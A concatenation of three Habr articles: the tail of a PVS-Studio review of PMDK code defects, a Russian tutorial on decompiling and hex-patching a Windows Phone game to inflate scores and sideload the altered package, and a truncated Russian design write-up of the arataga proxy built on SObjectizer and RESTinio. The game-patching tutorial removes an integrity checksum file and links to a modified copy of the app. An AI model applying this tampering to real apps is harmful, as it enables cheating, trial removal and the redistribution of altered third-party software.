### Missing check that memory was successfully allocated
Checking that memory is allocated is performed using *assert* macros, which do nothing if the Release version of the application is compiled. So we can say that there is no handling of the situation when *malloc* calls return *NULL*. Example:
```
static void
remove_extra_node(TOID(struct tree_map_node) *node)
{
....
unsigned char *new_key = (unsigned char *)malloc(new_key_size);
assert(new_key != NULL);
memcpy(new_key, D_RO(tmp)->key, D_RO(tmp)->key_size);
....
}
```
PVS-Studio warning: V575 [CWE-628] The potential null pointer is passed into 'memcpy' function. Inspect the first argument. Check lines: 340, 338. rtree\_map.c 340
There is even no *assert* in other places:
```
static void
calc_pi_mt(void)
{
....
HANDLE *workers = (HANDLE *) malloc(sizeof(HANDLE) * pending);
for (i = 0; i < pending; ++i) {
workers[i] = CreateThread(NULL, 0, calc_pi,
&tasks[i], 0, NULL);
if (workers[i] == NULL)
break;
}
....
}
```
PVS-Studio warning: V522 [CWE-690] There might be dereferencing of a potential null pointer 'workers'. Check lines: 126, 124. pi.c 126
I counted at least 37 of such code fragments. So I don't see the point in listing all of them in the article.
At a first glance, the lack of checks can be considered self-indulgence and smelly code. I don't go along with this point of view. Programmers underestimate the danger of missing such checks. A null pointer won't necessarily immediately manifest itself as a crash when dereferencing. The consequences can be more bizarre and dangerous, especially in multithreaded programs. To understand more about what is happening and why checks are needed, I strongly recommend that everyone read the article "[Why it is important to check what the malloc function returned](https://www.viva64.com/en/b/0558/)".
Code smell
----------
### Double call of CloseHandle
```
static void
prepare_map(struct pmem2_map **map_ptr,
struct pmem2_config *cfg, struct pmem2_source *src)
{
....
HANDLE mh = CreateFileMapping(....);
....
UT_ASSERTne(CloseHandle(mh), 0);
....
}
```
PVS-Studio warning: V586 [CWE-675] The 'CloseHandle' function is called twice for deallocation of the same resource. pmem2\_map.c 76
Looking at this code and the PVS-Studio warning, it is clear that nothing is clear. Where is double call of *CloseHandle* possible here? To find the answer, let's look at the implementation of the *UT\_ASSERTne* macro.
```
#define UT_ASSERTne(lhs, rhs)\
do {\
/* See comment in UT_ASSERT. */\
if (__builtin_constant_p(lhs) && __builtin_constant_p(rhs))\
UT_ASSERT_COMPILE_ERROR_ON((lhs) != (rhs));\
UT_ASSERTne_rt(lhs, rhs);\
} while (0)
```
It didn't get much clearer. What is *UT\_ASSERT\_COMPILE\_ERROR\_ON*? What is *UT\_ASSERTne\_rt*?
I'm not going to clutter the article with description of each macro and torture a reader by forcing to nest one macro into another in their head. Let's look at the final version of the expanded code from the preprocessed file.
```
do {
if (0 && 0) (void)((CloseHandle(mh)) != (0));
((void)(((CloseHandle(mh)) != (0)) ||
(ut_fatal(".....", 76, __FUNCTION__, "......: %s (0x%llx) != %s (0x%llx)",
"CloseHandle(mh)", (unsigned long long)(CloseHandle(mh)), "0",
(unsigned long long)(0)), 0))); } while (0);
```
Let's delete the always false condition 0 && 0) and every part that's irrelevant. Here's what we get:
```
((void)(((CloseHandle(mh)) != (0)) ||
(ut_fatal(...., "assertion failure: %s (0x%llx) != %s (0x%llx)",
....., (unsigned long long)(CloseHandle(mh)), .... ), 0)));
```
The handle is closed. If an error occurs, a debugging message is generated and *CloseHandle* is called for the same incorrect handle to get the error code again.
There seems to be no mistake. Once the handle is invalid, it's okay that the *CloseHandle* function is called twice for it. However, this code has a smell, indeed. It would be more ideologically correct to call the function only once and save the status that it returned, so that if necessary, it can display its value in the message.
### The mismatch between the interface of the implementation (constness dropping)
```
static int
status_push(PMEMpoolcheck *ppc, struct check_status *st, uint32_t question)
{
....
} else {
status_msg_info_and_question(st->msg); // <=
st->question = question;
ppc->result = CHECK_RESULT_ASK_QUESTIONS;
st->answer = PMEMPOOL_CHECK_ANSWER_EMPTY;
PMDK_TAILQ_INSERT_TAIL(&ppc->data->questions, st, next);
}
....
}
```
The analyzer issues the message: V530 [CWE-252] The return value of function 'status\_msg\_info\_and\_question' is required to be utilized. check\_util.c 293
The reason is that the *status\_msg\_info\_and\_question* function, from the analyzer's point of view, doesn't change the state of objects external to it, including the passed constant string. In other words, the function just counts something and returns the result. And if so, it is strange not to use the result that this function returns. Although the analyzer is wrong this time, it points to the code smell. Let's see how the called *status\_msg\_info\_and\_question* function works.
```
static inline int
status_msg_info_and_question(const char *msg)
{
char *sep = strchr(msg, MSG_SEPARATOR);
if (sep) {
*sep = ' ';
return 0;
}
return -1;
}
```
When calling the *strchr* function, constness is implicitly cast away. The fact is that in C it is declared as follows:
```
char * strchr ( const char *, int );
```
Not the best solution. But the C language is the way it is :).
The analyzer got confused and didn't get that the passed string was actually being changed. If this is the case, then the return value is not the most important one and you don't need to use it.
However, even though the analyzer got confused, it points to a code smell. What confuses the analyzer can also confuse the person who maintains the code. It would be better to declare the function more honestly by removing *const*:
```
static inline int
status_msg_info_and_question(char *msg)
{
char *sep = strchr(msg, MSG_SEPARATOR);
if (sep) {
*sep = ' ';
return 0;
}
return -1;
}
```
This way the intent is immediately clear, and the analyzer will be silent.
### Overcomplicated code
```
static struct memory_block
heap_coalesce(struct palloc_heap *heap,
const struct memory_block *blocks[], int n)
{
struct memory_block ret = MEMORY_BLOCK_NONE;
const struct memory_block *b = NULL;
ret.size_idx = 0;
for (int i = 0; i < n; ++i) {
if (blocks[i] == NULL)
continue;
b = b ? b : blocks[i];
ret.size_idx += blocks[i] ? blocks[i]->size_idx : 0;
}
....
}
```
PVS-Studio warning: V547 [CWE-571] Expression 'blocks[i]' is always true. heap.c 1054
If *blocks[i] == NULL*, the *continue* statement executes and the loop starts the next iteration. Therefore, rechecking the *blocks[i]*] element doesn't make sense and the ternary operator is unnecessary. The code can be simplified:
```
....
for (int i = 0; i < n; ++i) {
if (blocks[i] == NULL)
continue;
b = b ? b : blocks[i];
ret.size_idx += blocks[i]->size_idx;
}
....
```
### Suspicious use of a null pointer
```
void win_mmap_fini(void)
{
....
if (mt->BaseAddress != NULL)
UnmapViewOfFile(mt->BaseAddress);
size_t release_size =
(char *)mt->EndAddress - (char *)mt->BaseAddress;
void *release_addr = (char *)mt->BaseAddress + mt->FileLen;
mmap_unreserve(release_addr, release_size - mt->FileLen);
....
}
```
PVS-Studio warning: V1004 [CWE-119] The '(char \*) mt->BaseAddress' pointer was used unsafely after it was verified against nullptr. Check lines: 226, 235. win\_mmap.c 235
The *mt->BaseAddress* pointer can be null, as shown by the check:
```
if (mt->BaseAddress != NULL)
```
However, this pointer is already used in arithmetic operations below without checking. For example, here:
```
size_t release_size =
(char *)mt->EndAddress - (char *)mt->BaseAddress;
```
Some large integer value will be obtained, which is actually equal to the value of the *mt->EndAddress* pointer. This may not be an error, but it looks very suspicious, and I think the code should be rechecked. The code smells as it is incomprehensible and it clearly lacks explanatory comments.
### Short names of global variables
I believe that the code smells if it contains global variables with short names. It is easy to mistype and accidentally use a global variable in some function instead of a local one. Example:
```
static struct critnib *c;
```
PVS-Studio warnings for such variables:
* V707 Giving short names to global variables is considered to be bad practice. It is suggested to rename 'ri' variable. map.c 131
* V707 Giving short names to global variables is considered to be bad practice. It is suggested to rename 'c' variable. obj\_critnib\_mt.c 56
* V707 Giving short names to global variables is considered to be bad practice. It is suggested to rename 'Id' variable. obj\_list.h 68
* V707 Giving short names to global variables is considered to be bad practice. It is suggested to rename 'Id' variable. obj\_list.c 34
Stranger things
---------------
As for me, the *do\_memmove* function contained the weirdest code. The analyzer issued two warnings that indicate either very serious errors, or the fact that I simply don't understand what was meant. Since the code is very peculiar, I decided to review the warnings issued in a separate section of the article. So, the first warning is issued here.
```
void
do_memmove(char *dst, char *src, const char *file_name,
size_t dest_off, size_t src_off, size_t bytes,
memmove_fn fn, unsigned flags, persist_fn persist)
{
....
/* do the same using regular memmove and verify that buffers match */
memmove(dstshadow + dest_off, dstshadow + dest_off, bytes / 2);
verify_contents(file_name, 0, dstshadow, dst, bytes);
verify_contents(file_name, 1, srcshadow, src, bytes);
....
}
```
PVS-Studio warning: V549 [CWE-688] The first argument of 'memmove' function is equal to the second argument. memmove\_common.c 71
Note that the first and second arguments of the function are the same. So the function doesn't actually do anything. What options come to mind:
* The author wanted to "touch" the memory block. But will this happen in reality? Will the optimizing compiler remove the code that copies a block of memory to itself?
* This is some kind of a unit test for the *memmove* function.
* The code contains a typo.
And here is an equally strange fragment in the same function:
```
void
do_memmove(char *dst, char *src, const char *file_name,
size_t dest_off, size_t src_off, size_t bytes,
memmove_fn fn, unsigned flags, persist_fn persist)
{
....
/* do the same using regular memmove and verify that buffers match */
memmove(dstshadow + dest_off, srcshadow + src_off, 0);
verify_contents(file_name, 2, dstshadow, dst, bytes);
verify_contents(file_name, 3, srcshadow, src, bytes);
....
}
```
PVS-Studio warning: V575 [CWE-628] The 'memmove' function processes '0' elements. Inspect the third argument. memmove\_common.c 82
The function transfers 0 bytes. What's that – an error or just an extra check? A unit test? A typo?
For me, this code is incomprehensible and strange.
Why use code analyzers?
-----------------------
It may seem that since few errors are found, the introducing an analyzer in the code development process is not justified. But the point of using static analysis tools is not to perform one-time checks, but to regularly detect errors at the code writing stage. Otherwise, these errors are detected in more expensive and slower ways (debugging, testing, user feedback, and so on). This idea is described in more detail in the article "[Errors that static code analysis does not find because it is not used](https://www.viva64.com/en/b/0639/)", which I recommend getting acquainted with. And feel free to visit our website to [download](https://www.viva64.com/en/pvs-studio-download/) and try PVS-Studio to scan your projects.
Thanks for your attention! | https://habr.com/ru/post/515730/ | null | en | null |
# Мини reverse engineering и модификация Windows Phone приложений
Здравствуйте!
Несколько дней назад мне попалась на глаза забавная [игра](http://www.windowsphone.com/en-US/apps/bb5f1317-735d-4e60-a100-9c3f1692ee7c), в которой необходимо на мотоцикле объезжать препятствия и за это получать очки, и мы с друзьями ~~начали меряться количеством набранных очков~~ немного увлеклись. Немного подумав, я решил покопаться в коде игры и добавить небольшой хак для очков. Итак, о том, как разобрать Windows Phone приложение, изменить в нем что-то и собрать это все обратно:
Для начала определимся со всем необходимым:
* Разлоченое Windows Phone устройство (эмулятор тоже подойдет, но нет удовольствия от игры).
* Установленный [WP7.1 SDK](http://www.microsoft.com/en-us/download/details.aspx?id=29233) или любая альтернатива для установки .xap на устройство.
* [.NET Reflector](http://www.reflector.net/) для декомпиляции/компиляции сборок.
* [Reflexil](http://reflexil.net/) для сохранения сборок
* [HxD](http://mh-nexus.de/en/downloads.php?product=HxD) для редактирования HEX значений
* [Phone7Market](http://forum.xda-developers.com/showthread.php?t=908293) для выкачивания .xap из маркета
Моих познаний ~~быдлохакера~~ в рефлекторе/hex-редакторе хватает как раз на замену простых значений.
Для начала выкачиваем приложение из маркета с помощью Phone7Market. Находим игру поиском, нажимаем правой кнопкой и сохраняем в необходимую директорию на диске.
Теперь копируем наш .xap файл и переименовываем копию в .zip и распаковываем в папку. Например, у меня после операций папка выглядит примерно так:
Теперь приступим к самому интересному. Распаковываем reflexil и копируем путь к нему. Теперь запускаем ReShrper и заходим в Tools -> Add-Ins… нажимаем Add и вставляем путь к Reflexil.Reflector.dll в папке с reflexil. Эта штуковина нужна в рефлекторе для того, чтобы редактировать и пересобрать сборки.
Открываем в рефлекторе наш ранее распакованный архив. Быстро пробежавшись по списку библиотек, открываем ту, у которой, название похоже на приложение. Скорее всего, это и есть основной проект.
В глаза сразу бросается класс **Config**. Постойте – да это же класс с основными значениями! Теперь можно поменять что-то небольшое типа скорости или вероятности появления машин. Давайте немного подправим скорость прибавления очков, вероятность появления препятствий и количество очков за обход препятствия.
Открываем **HxD** и выбираем нашу библиотеку *ThreeDMoto.dll*.
Немного пугает, но просто все понять. Находим строчку, которую будем изменять.
```
public static readonly float[] TIMESPAN_OF_SHIFT = new float[] { 0.5f, 1f, 3f, 5f };
```
Итак, у нас есть значения 0.5, 1, 3, 5. Возвращаемся в HxD и жмем поиск. Искать будем по числу 3.
нашлось несколько значений. Теперь ищем 5. Их всего 2. Теперь необходимо найти то место где 3 и 5 стоят рядом:
Отлично. Убеждаемся что там именно те числа и заменяем все 4 на 0,1
Жмем сохранить и переключаемся в рефлектор. Чтобы убедиться что мы сделали все правильно. Удаляем из рефлектора библиотеку и подключаем ее снова. Заходим в конфиг и находим нужную строку:
```
public static readonly float[] TIMESPAN_OF_SHIFT = new float[] { 0.1f, 0.1f, 0.1f, 0.1f };
```
Итак, сборка изменилась. Теперь в проводнике перетягиваем dll на zip и подтверждаем замену. Переименовываем .zip в .xap и выгружаем приложение на устройство.
И получаем первую ошибку. Эта ошибка возникает из-за того, что в .xap пакете находится файл с контрольной суммой приложения **WMAppPRHeader.xml**. Удаляем файл из архива и пробуем снова:
Телефон выдает странную штуку. Если подумать, то это может возникнуть только из-за редактирования библиотеки без перекомпиляции. Итак, снова открываем рефлектор с библиотекой и сохраняем нашу библиотеку.
Снова выполняем действие с переименованием и перетягиваем и выгружаем проект на устройство. Заработало. Теперь разгон происходит за четверть секунды, и очки умножаются в 4 раза почти мгновенно. Теперь отредактируем количество очков за объезд препятствия и вероятность появления препятствий на дороге.
Заменяем все на:
Сохраняем, переименовываем, копируем, переименовываем, заливаем. Теперь можно легко установить рекорд любого размера.
[Оригинал приложения.](http://www.mediafire.com/?cn85cjzk20uv72d)
[Редактированное приложение.](http://www.mediafire.com/?zmo1qg77kod6a0k)
#### Итак, подведем итог
При разработке игр и приложений на Windows Phone разработчикам не следует забывать о том, что их код можно будет просмотреть и после компиляции. Чтобы усложнить жизнь тем, кто будет его смотреть или редактировать – можно воспользоваться удобными и простыми средствами для обфускации кода и подписи сборок. Это создаст несколько проблем. Из-за подписи сборку будет сложнее отредактировать, а из-за обфускации будет совершенно не ясно, что редактировать. Ведь описанным способом можно не только редактировать безобидные значения, а и снимать триалы с приложений и даже дописывать собственные методы и классы и переписывать существующие. | https://habr.com/ru/post/146538/ | null | ru | null |
# Проект arataga: реальный пример использования SObjectizer и RESTinio для работы с большим количеством HTTP-соединений
В последние 4.5 года я много рассказывал на Хабре про такие OpenSource проекты, как [SObjectizer](https://habr.com/ru/search/?q=%5Bsobjectizer%5D&target_type=posts) и [RESTinio](https://habr.com/ru/search/?q=%5Brestinio%5D&target_type=posts). Но вот об использовании SObjectizer и/или RESTinio в реальных проектах пока еще ни разу не удавалось поговорить (была лишь [одна статья](https://habr.com/ru/post/438196/) от стороннего [автора](https://habr.com/ru/users/PavelVainerman/)).
Причина простая: мы не можем обсуждать те проекты, в которых мы сами применяли SObjectizer/RESTinio, ибо NDA. Равно как и не можем рассказывать о тех чужих проектах, о которых узнали в частном общении. Так что с наглядными примерами использования SObjectizer/RESTinio в реальной жизни всегда была напряженка.
Дабы как-то улучшить ситуацию пару лет назад мы даже сделали небольшой [демо-проект Shrimp](https://github.com/Stiffstream/shrimp-demo) и опубликовали здесь серию статей о нем ([раз](https://habr.com/ru/post/416387/), [два](https://habr.com/ru/post/417527/), [три](https://habr.com/ru/post/420353/)). Но все-таки это было не более чем демонстрация.
К счастью или к несчастью, но далеко не самый удачный 2020-й год предоставил нам [возможность](https://eao197.blogspot.com/2021/01/workopensourcec-arataga-opensource.html) показать как же выглядит реальный проект, в разработке которого SObjectizer и RESTinio активно используются. И в данной статье я попробую рассказать о том, как и для чего SObjectizer и RESTinio применяются в [arataga, исходники которого можно найти на GitHub](https://github.com/Stiffstream/arataga).
Тем, кто хочет больше узнать об arataga и причинах его появления на GitHub-е, рекомендую прочитать [этот блог-пост](https://eao197.blogspot.com/2021/01/workopensourcec-arataga-opensource.html). Здесь же в двух словах скажу лишь, что arataga -- это socks5+http/1.1 прокси-сервер, который затачивался под использование в следующих условиях (перечислены те из них, которые актуальны с точки зрения внутренней архитектуры arataga):
* много точек входа, счет идет на тысячи (8 тысяч нужно было поддерживать сразу). У каждой точки входа уникальное сочетание IP+port;
* подключения на одну точку входа могут идти с темпом в несколько десятков в секунду, параллельно на одной точке входа могут "висеть" сотни подключений;
* одновременно могут существовать десятки тысяч подключений, общий темп появления новых подключений на всех точках входа может быть от 1500 в секунду;
* аутентификация клиентов должна укладываться в единицы миллисекунд;
* обновленная конфигурация и новые списки пользователей, которым разрешена работа с прокси-сервером, периодически доставляется через HTTP POST на специальный административный HTTP-вход.
Далее в статье я сосредоточусь на архитектурных и технических моментах, не затрагивая тему "зачем это все было нужно?"
Вероятно, для того, чтобы лучше понимать изложенное ниже, нужно иметь общие представления о SObjectizer-овских агентах, диспетчерах и почтовых ящиках (mbox-ах). [Старая обзорная статья](https://habr.com/ru/post/304386/) может в этом помочь (хотя сам SObjectizer за это время несколько изменился).
Тезисно о принятых проектных и архитектурных решениях
-----------------------------------------------------
### Многопроцессность или многопоточность?
Прежде всего нам предстояло сделать выбор между реализацией arataga в виде мультипроцессного или мультипоточного приложения.
В случае мультипроцессного приложения потребовалось бы иметь процесс-родитель, который бы запускал N дочерних процессов-исполнителей. Процесс-родитель отвечал бы за управление дочерними процессами и за распределение конфигурации/списков пользователей между дочерними процессами. Дочерние же процессы открывали бы точки входа и обслуживали бы входящие соединения от клиентов и исходящие к целевым хостам.
Каждый процесс при этом мог бы быть простым однопоточным процессом (может быть за исключением родительского, в котором могло бы потребоваться больше одного рабочего потока).
Достаточно простая и надежная схема, почти что в духе unix way. Но связываться с ней не очень хотелось из-за большого количества IPC-взаимодействия между родительским и дочерними процессами: в одну сторону должна идти управляющая информация, в другую -- диагностическая.
Вариант в виде многопоточного приложения выглядел проще, т.к. все взаимодействующие сущности оказывались в рамках одного общего адресного пространства и распространение любой информации в любых направлениях не представляло вообще никакой проблемы.
Плюс к тому, у нас в руках был большой молоток, SObjectizer, с помощью которого разрабатывать многопоточные приложения гораздо проще, чем при ручной работе с std::thread, std::mutex и std::condition\_variable и т.п. Если выразить основные сущности приложения в виде SObjectizer-овских агентов, распределить этих агентов должным образом по рабочим нитям и организовать их взаимодействие на базе асинхронных сообщений, то ужасы многопоточности можно спокойно обойти стороной. Что, собственно, в очередной раз и произошло.
### Сколько рабочих потоков нужно?
Здесь все было понятно изначально, еще даже до начала разработки arataga, поскольку старый прокси-сервер, на замену которого arataga и разрабатывался, использовал модель thread-per-connection. Когда счет одновременно живущих соединений идет на десятки тысяч, то thread-per-connection не есть хорошо.
Поэтому об использовании в arataga схемы thread-per-connection речь не шла вообще. Сразу же был взят курс на применение чего-то похожего на thread-per-core.
Было решено под обслуживание подключений отводить не все доступные вычислительные ядра, а использовать формулу (nCPU-2), где nCPU -- это количество ядер.
Так, если на машине 8 ядер, то в arataga будет создано 6 рабочих потоков, которые будут отвечать за обслуживание соединений. Т.е. работой с трафиком будут заняты 6 ядер. Два оставшихся ядра будут доступны для других рабочих потоков внутри arataga. Плюс и самой ОС нужно что-то оставить, а то не очень приятно удаленно подключаться к работающему серверу по ssh, когда у него все ядра загружены под 100%…
### Что будет агентом, а что не будет?
Изначально в работе arataga выделялось несколько типов операций, которые должны были выполняться на разных рабочих контекстах:
* разбор конфигурации. Обработка конфигурации для нескольких тысяч точек входа может занимать некоторое время (например, 5ms). Сюда входит и парсинг/валидация конфигурации, и сохранение ее локальной копии, и удаление устаревших точек входа, которых нет в новой конфигурации, и создание новых точек входа, добавленных в обновленной конфигурации;
* разбор списка пользователей и формирование структур для представления этого списка в памяти. Это также может занимать некоторое время, поскольку списки пользователей могут насчитывать несколько десятков тысяч строк;
* обработка точек входа. Т.е. создание серверных сокетов на заданных IP+port, прием новых подключений с учетом ограничений на максимальное количество параллельных подключений и т.д.;
* обслуживание принятых подключений. Т.е. вычитывание данных от клиента, определение типа протокола, осуществление проксирования подключения в зависимости от типа протокола и команды, пришедшей от клиента.
Первые три операции явно напрашивались на то, чтобы быть представленными в виде отдельных агентов, которые привязываются к тому или иному диспетчеру.
А вот по поводу последнего, т.е. обслуживания уже принятых подключений, можно было поступить по-разному. Можно было попытаться представить каждое подключение в виде отдельного агента.
Но этот подход меня лично не вдохновлял по нескольким причинам.
Во-первых, дело в том, что обслуживание разных команд в рамках одного протокола (не говоря уже про разные протоколы) может существенным образом отличаться. И если попытаться все эти различия запихнуть в одного агента, то этот агент распухнет до неприличия.
Во-вторых, не очень понятно, в чем смысл использовать здесь агента. Взаимодействие с сетью предполагалось делать с использованием [Asio](https://think-async.com/Asio/) и асинхронных операций. Т.е., если вызывается Asio-шный `async_read_some`, то когда-то Asio вызовет для этой операции completion\_handler. И если мне нужно передать результат `async_read_some` агенту, то в completion\_handler нужно будет отослать агенту сообщение, которое агент обработает. Что, вообще-то говоря, не бесплатно, т.к. сперва на каком-то `io_context` будет запланирован вызов completion\_handler, а затем, когда до completion\_handler дойдет очередь, будет запланирован вызов обработчика события у агента. И только затем когда-то будет вызван этот самый обработчик. Что наводит на мысль "а не слишком ли много приходится платить за концептуальную чистоту?" Тем более, что по прошлому опыту я знал, что когда операции чтения/записи сокета доставляются до агента в виде сообщений, то как-то кардинально это работу с сетью не упрощает. Может быть даже наоборот.
Добавим сюда еще и то, что регистрация/дерегистрация агентов в SObjectizer все-таки не самая дешевая операция (это связано с механизмом коопераций и гарантиями транзакционности операции регистрации). Конечно, если принимать новые подключения с темпом в 2000-3000 в секунду, то "тормоза" SObjectizer-а здесь не проявятся, SObjectizer может регистрировать/дерегистрировать кооперации с гораздо более высоким темпом. Но все-таки у частого создания/удаления агентов есть своя цена, и если ее можно не платить, то лучше ее не платить.
В результате было принято решение, что агентом будет точка входа, но вот отдельные подключения агентами не будут. Вместо этого, агент, представляющий точку входа, будет обслуживать все подключения к этой точке.
### Для чего планировалось использовать RESTinio?
Изначально предполагалось, что посредством RESTinio будет реализован административный HTTP-вход. Причем не в виде SObjectizer-овского агента, а просто единственная отдельная нить, на которой будет работать RESTinio-сервер.
Библиотека RESTinio, действительно, была использована таким очевидным образом. А вот о паре менее очевидных способов применения RESTinio в arataga речь пойдет ниже.
Погрузимся в подробности
------------------------
### Некоторые детали использования SObjectizer
В этой части бегло пройдемся по некоторым моментам использования SObjectizer в коде arataga. Выбор чисто субъективный, мне показалось, что именно они наиболее показательны и/или не обычны.
В рамках одной статьи невозможно обсудить все аспекты применения SObjectizer в проекте arataga, поэтому что-то неизбежно останется "за кадром". Так что если у кого-то из читателей возникнут вопросы, то постараюсь ответить в комментариях.
#### Агент startup\_manager и "глобальный таймер"
Работа arataga начинается с запуска агента [startup\_manager](https://github.com/Stiffstream/arataga/tree/v0.2.0/arataga/startup_manager). Этот агент отвечает за последовательный запуск основных "компонентов" arataga: сперва стартует агент user\_list\_processor, затем агент config\_processor, затем уже запускается отдельная нить с RESTinio-сервером для административного HTTP-входа.
Каждый из запускаемых startup\_manager агентов должен затем подтвердить свой успешный запуск. Если этого не произошло за отведенное время, то startup\_manager прерывает работу приложения вообще.
В агенте startup\_manager можно обнаружить один непривычный трюк: [запуск при старте периодического сообщения](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/startup_manager/a_manager.cpp#L168-L172) `one_second_timer_t`, которое отсылается раз в секунду на специальный mbox.
В какой-то мере это преждевременная оптимизация.
Дело в том, что всем точкам входа нужно время от времени контролировать тайм-ауты выполняемых операций. Например, нужно принудительно закрывать соединения, в которых долго нет никакой активности.
Обычно это выполняется посредством отложенного сообщения: агент отсылает самому себе отложенное на 1 секунду сообщение, а когда оно приходит, то проверяет времена жизни подключений, времена отсутствия активностей в них и т.д. После чего шлет себе следующее отложенное сообщение. Или же вместо перепосылки отложенных сообщений один раз запускает периодическое сообщение.
Но когда агентов, нуждающихся в подобных периодических проверках, будут тысячи, то это будет означать, что раз в секунду будут порождаться тысячи отложенных/периодических сообщений.
Ну и зачем, спрашивается, это делать, если достаточно всего одного сообщения, которое будет отсылаться в отдельный mbox один раз в секунду? И на которое смогут подписаться столько получателей, сколько потребуется.
Вот как раз для того, чтобы каждый агент, обслуживающий точку входа, не запускал свое собственное периодическое сообщение для контроля тайм-аутов, агент startup\_manager делает это посредством `one_second_timer_t`.
#### Понятие io\_thread и ее реализация на базе asio\_one\_thread-диспетчера
Выше говорилось, что в реализации arataga было решено придерживаться модели, похожей на thread-per-core, при этом (nCPU-2) рабочих потока будет выделено под выполнение операций с сетью. Такие рабочие нити получили условное название io\_thread (далее io\_thread == "I/O нить" и поэтому "io\_thread" будет иметь женский род).
Т.к. работа с сетью в arataga работа идет посредством Asio, то для следования идее thread-per-core было решено сделать так, чтобы на каждой io\_thread работал свой собственный экземпляр `asio::io_context`.
Т.е. нам нужна была рабочая нить, которая создает экземпляр asio::io\_context, а затем вызывает для него `run()`. После чего на этой нити нужно было бы еще как-то разместить и агентов, реализующих точки входа. И чтобы одна и та же нить обслуживала и операции Asio, и события SObjectizer-овских агентов.
В arataga для этих целей просто используются экземпляры [asio\_one\_thread-диспетчера из so5extra](https://github.com/Stiffstream/so5extra/wiki/so5extra-1.4-Asio-OneThread-Dispatcher). Каждый такой диспетчер -- это отдельный рабочий поток (т.е. io\_thread).
Агент config\_processor, о котором речь пойдет ниже, [создает N экземпляров asio\_one\_thread-диспетчеров](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/config_processor/a_processor.cpp#L551-L560), а затем просто [привязывает](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/config_processor/a_processor.cpp#L692) к этим экземплярам агентов, обслуживающих точки входа.
#### Агенты authentificator и dns\_resolver, их дублирование на каждой io\_thread
Подключающихся к arataga клиентов нужно аутентифицировать. Эта задача была поручена отдельному агенту authentificator. Когда агенту, обслуживающему точку входа, нужно аутентифицировать клиента, то отсылается сообщение агенту authentificator, который выполняет аутентификацию и шлет назад результат аутентификации.
Еще агентам, которые обслуживают точки входа, нужно выполнять резолвинг доменных имен. За эту операцию отвечает еще один специальный агент -- dns\_resolver. Тут используется подобная схема: агент-точка-входа отсылает агенту dns\_resolver сообщение, а тот присылает назад результат поиска доменного имени.
Мне показалось, что если уж мы пытаемся следовать модели thread-per-core, то логичным было бы сделать отдельную копию агентов dns\_resolver и authentificator для каждой из io\_thread. Поэтому эти агенты создаются сразу же вслед за очередным asio\_one\_thread-диспетчером и [привязываются](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/config_processor/a_processor.cpp#L555-L588) к только что созданному диспетчеру.
#### Распределение агентов по диспетчерам
В результате получилась следующая картинка:
У агентов config\_processor и user\_list\_processor есть собственные рабочие потоки, которые реализуются посредством штатного диспетчера SObjectizer под названием one\_thread.
Каждая io\_thread представлена отдельным диспетчером asio\_one\_thread из so5extra. И на каждом таком диспетчере работает сразу несколько (десятков, сотен, тысяч) агентов acl\_handler.
#### Агент config\_processor
Агент config\_processor отвечает за обработку конфигурации arataga, поддержание списка существующих точек входа, их распределение между io\_threads, и за создание/удаление точек входа при изменении конфигурации.
При своем старте config\_processor пытается прочитать локальную копию конфигурационного файла. Если это удалось, то config\_processor принимает поднятую из конфига информацию за текущую конфигурацию и создает описанные в ней точки входа (регистрирует агентов acl\_handler).
Если же локальной копии конфигурации нет или же прочитать ее не удалось, то config\_processor ждет, пока придет новая конфигурация от административного HTTP-входа.
Когда от административного HTTP-входа поступает новая конфигурация, что после ее успешной обработки config\_processor рассылает уведомления об изменении параметров arataga на отдельный multi-producer/multi-consumer mbox. Так изменения в конфигурации становятся доступны всем, кто в них заинтересован.
В работе config\_processor с acl\_handler есть важная особенность: сейчас в arataga агент acl\_handler намертво привязывается к конкретному asio\_one\_thread и живет на этом asio\_one\_thread до тех пор, пока не будет удален.
Эта особенность может привести к ситуации, когда из конфигурации удалили, скажем, 1000 точек входа, и в результате на одной из io\_threads осталось заметно меньше работающих агентов, чем на других io\_threads.
Эта диспропорция может быть устранена при добавлении новых точек входа. В этом случае config\_processor при создании новых агентов acl\_handler будет привязывать их к тем диспетчерам asio\_one\_thread, на которых сейчас меньше всего живых acl\_handler.
Но если новые точки входа не создаются, то диспропорция останется и config\_processor не будет перераспределять старые acl\_handler между диспетчерами asio\_one\_thread. По двум причинам:
* во-первых, в SObjectizer нет возможности перепривязать агента с одного диспетчера на другой. Поэтому к какому диспетчеру агента изначально привязали, на таком он и будет продолжать работать;
* во-вторых, в каждом агенте acl\_handler может существовать множество Asio-шных объектов, завязанных на конкретный экземпляр `asio::io_context`. Если перемещать содержимое acl\_handler с одной io\_thread на другую, то нужно будет и переконструировать эти Asio-шные объекты.
Чтобы не возиться со всем этим добром было решено смириться с такими диспропорциями в первой версии aragata. Может на практике они вообще не будут столь серьезными, чтобы оказывать влияние на производительность. Ну а если таки будут, вот тогда можно было бы и озадачиться проблемой миграции точки входа с одной io\_thread на другую.
#### Агент user\_list\_processor
Агент user\_list\_processor отвечает за работу со списком пользователей.
При своем старте user\_list\_processor пытается прочитать локальную копию списка пользователей. Если это удалось, то локальная копия становится актуальным списком. Если не удалось, то user\_list\_processor ждет поступления нового списка от административного HTTP-входа.
Когда от административного HTTP-входа прилетает новый список пользователей, то user\_list\_processor пытается его обработать. И, если это получается успешно, то обновленный список рассылается на отдельный multi-producer/multi-consumer mbox на которые подписаны агенты authentificator. Что позволяет authentificator-ам получать обновленные списки пользователей сразу после того, как user\_list\_processor завершит их обработку.
#### Агент acl\_handler
Агент acl\_handler является, наверное, самым сложным и объемным агентом в arataga ([hpp-файл](https://github.com/Stiffstream/arataga/blob/v0.2.0/arataga/acl_handler/a_handler.hpp), [cpp-файл](https://github.com/Stiffstream/arataga/blob/v0.2.0/arataga/acl_handler/a_handler.cpp)). Его задача -- это создать серверный сокет для точки входа, принимать и обслуживать подключения к этому серверному сокету.
В связи с этим в рамках данной статьи можно выделить несколько аспектов в реализации acl\_handler.
